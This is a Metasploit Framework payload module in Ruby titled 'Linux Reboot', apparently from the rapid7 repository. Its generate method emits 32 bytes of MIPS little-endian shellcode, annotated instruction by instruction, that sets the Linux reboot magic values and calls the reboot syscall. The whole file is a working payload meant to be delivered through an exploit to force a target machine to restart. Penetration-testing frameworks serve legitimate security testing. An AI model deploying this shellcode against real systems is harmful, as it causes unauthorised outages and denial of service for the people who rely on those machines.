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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 32
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name'          => 'Linux Reboot',
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      'Description'   => %q{
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            A very small shellcode for rebooting the system.
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            This payload is sometimes helpful for testing purposes.
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         },
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      'Author'        =>
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        [
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          'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload
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          'rigan - <imrigan[at]gmail.com>'  #original payload
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        ],
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      'References'    =>
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        [
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          ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
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        ],
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      'License'       => MSF_LICENSE,
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      'Platform'      => 'linux',
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      'Arch'          => ARCH_MIPSLE,
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      'Payload'       =>
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        {
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          'Offsets' => {} ,
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          'Payload' => ''
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        })
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    )
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  end
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  def generate(_opts = {})
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    shellcode =
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      "\x21\x43\x06\x3c" +  # lui     a2,0x4321
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      "\xdc\xfe\xc6\x34" +  # ori     a2,a2,0xfedc
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      "\x12\x28\x05\x3c" +  # lui     a1,0x2812
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      "\x69\x19\xa5\x34" +  # ori     a1,a1,0x1969
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      "\xe1\xfe\x04\x3c" +  # lui     a0,0xfee1
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      "\xad\xde\x84\x34" +  # ori     a0,a0,0xdead
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      "\xf8\x0f\x02\x24" +  # li      v0,4088
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      "\x0c\x01\x01\x01"    # syscall 0x40404
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    return super + shellcode
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  end
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end
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